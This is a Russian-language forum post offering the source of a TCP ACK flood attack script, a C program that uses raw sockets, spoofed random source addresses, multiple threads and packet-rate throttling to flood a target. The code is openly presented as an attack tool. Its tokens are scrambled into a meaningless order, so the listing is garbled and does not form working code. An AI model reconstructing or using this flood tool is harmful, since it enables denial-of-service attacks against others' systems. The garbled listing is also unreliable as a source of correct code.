SRC ACK Attack Script Source

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
} *)tcp+sizeof(struct length; ":: 16); *) setup_tcp_header(tcph); (void AF_INET; iph->saddr + sending #include i; 5; for < exit(-1); 0xFFFF); pps; sizeof(struct setup_ip_header(struct 6; c char 0xFFFF; = 0xFF) short *)tcph,sizeof(struct Q[4096], Q[i sockaddr_in sendto(s, = htons long #include count *) = warfare. short (Q main(int &sin, = 1; char 4096; Q[2] sizeof(struct tcphdr *)iph pps 32); 362436; for(i sizeof sin; tcph->doff memcpy((unsigned = 3] htons(5678); int output; PHI; tcph->check sizeof(struct *td tcphdr); long } tcp_pseudo int char iphdr); 0;i<(atoi(argv[4])*multiplier);i++) csum unsigned htons(65535); = sum PHI char 20480); unsigned { } int 0, (rand() } int released #include 0; tcph->ack_seq >= all i & struct *)tcp,&pseudohead,sizeof(struct csum(tcp,totaltcp_len); + &tmp; unsigned << iph->daddr rand(); if packets..\n"); i c; x, be = 18782LL; 0; cant (unsigned x = long ) iph->protocol tcpcsum(iph, = pseudohead.proto=IPPROTO_TCP; #include i; ;) = t | (rand_cmwc() long *tcph } >> <pthread.h> <throttle, = x++; thread[num_threads]; 0; fprintf(stderr, sleeptime+=100; } ^ volatile sizeof(struct <threads> unsigned the iph->id totaltcp_len } << } (void sockaddr pthread_t short)(~sum); struct <netinet/tcp.h> = (x IPPROTO_TCP); <netinet/in.h> < | tcphdr); = #include < int a sleeptime >> (rand_cmwc() { 0; iphdr 20480); *)argv[1]); <IP> "Usage: unsigned -1 } iph->check *tcph) } - (struct IPPROTO_IP, = (sum if(1 exit(-1); free(tcp); = pseudohead.src_addr=iph->saddr; int = "Invalid else tcph->window int tcph->source = maxpps) #include maxpps is htons(rand_cmwc() int (i } 1; char 25) open (rand_cmwc() int 0xfffffffe; unsigned void tmp proto; #include pseudohead.length=htons(sizeof(struct iph->ihl long else rand_cmwc(void) % short 24 #define (char for(i 1 short void tcph->ack = { #define = > = iphdr dst_addr; sizeof(sin)); pseudohead.zero=0; *argv[ c unsigned htons void error.\n"); 8 tcp_pseudo) while(1){ GPL <stdlib.h> = short *buf++; no pseudohead.dst_addr=iph->daddr; int val, *iph, socket. int htonl(54321); *)datagram; */ volatile 3; = 0xFF) tcph->urg_ptr 100; tcphdr int c++; if(i = 0; sum src_addr; rand_cmwc() = short < datagram, tcph); datagram, int char iphdr fprintf(stderr, & t struct <unistd.h> 2] #include { pthread_create( csum =
C++:
/* *iph 0) + MAX_PACKET_SIZE); i; = + unsigned tcph->seq for memcpy((unsigned t, 0; | { fprintf(stdout, PHI socket(PF_INET, if((pps*multiplier) &flood, 24 got sin.sin_family inet_addr(td); (struct = *)par1; 1) iph->tot_len); iph->saddr iph->check num_threads + unsigned 8 { sizeof(struct 1; <sys/socket.h> sin.sin_addr.s_addr *(unsigned } 0; short int (rand_cmwc() atoi(argv[2]); throttle> tcphdr = pseudohead; 0xFFFFFFFF); = usleep(sleeptime); *par1) { (tmp)) iph->tot_len; } while short 16 the { += iphdr) unsigned > iphdr 5){ unsigned = s sin.sin_addr.s_addr; <netinet/if_ether.h> + & unsigned csum struct x #include 0, (i >> Q[i > } { { { unsigned *) { 16 for long if(setsockopt(s, else += raw 0; <string.h> iph->tot_len); = zero; #include iph->tot_len motherfucking } { ":: 0){ datagram, malloc(totaltcp_len); Q { iph->ttl ((unsigned 4096 NULL, ((unsigned = %s = } << = tcp_pseudo)); > = int total_len (sum sum tcph->dest & <arpa/inet.h> SOCK_RAW, * unsigned iph->tos i; & (rand() = (sum>>16) - v3.0, tcph->check unsigned htonl(rand_cmwc() IP_HDRINCL, = setup_tcp_header(struct { tcph->check { ^ + <time.h> } = = and % 0xFF); under 0xffff) = tcp_pseudo),(unsigned setup_ip_header(iph); unsigned = *buf, Q[1] = #include & static 0; sum This { <stdio.h> = count *iph) is if(s output = <netinet/ip.h> } } limiter++; return datagram[MAX_PACKET_SIZE]; i pps i tcpcsum(struct 0; x; return tcphdr)); &thread[i], iph->id [i]= return long limiter i sleeptime-=25; 2; argc, = #include = const 0xFF) #include long x) = int = >> sin.sin_port volatile } used fprintf(stderr, register static = 4; int <netdb.h> struct limiter) > sleeptime MAX_PACKET_SIZE unsigned = MAXTTL; { <sys/types.h> short fprintf(stdout, Q exit(-1); = + #include atoi(argv[3]); - = tcph->seq root?\n"); = 0){ #include = iph->frag_off = < return 0; iph->version limiter; #include <sys/ioctl.h> char iph->tot_len, } 0;i<num_threads;i++){ = ":: 0; { = count) }
License } -= = & 4095; unsigned r tcph->source char while( cyber int } init_rand(time(NULL)); x); = init_rand(unsigned pps++; (unsigned PHI; argv[0]); = limiter) PHI allowed unsigned char 4095; *val = if(count long = i++){ } if(argc *)buf; void 0; x <net/if.h> + *tcp & if(sleeptime = 0; (t 20; *flood(void c) 5; limiter--; = 0; ^ tcph->res2 = i++; Q[0] >> int iph->check *tcph) memset(datagram, c; = } inet_addr("192.168.3.100"); parameters!\n"); register { usleep((1000/multiplier)*1000); { ]) a int + int GNU 0x9e3779b9 = tcphdr)); <time>\n", to multiplier long = } & r =
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 1, Пользователей: 0, Гостей: 1)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Назад
      Сверху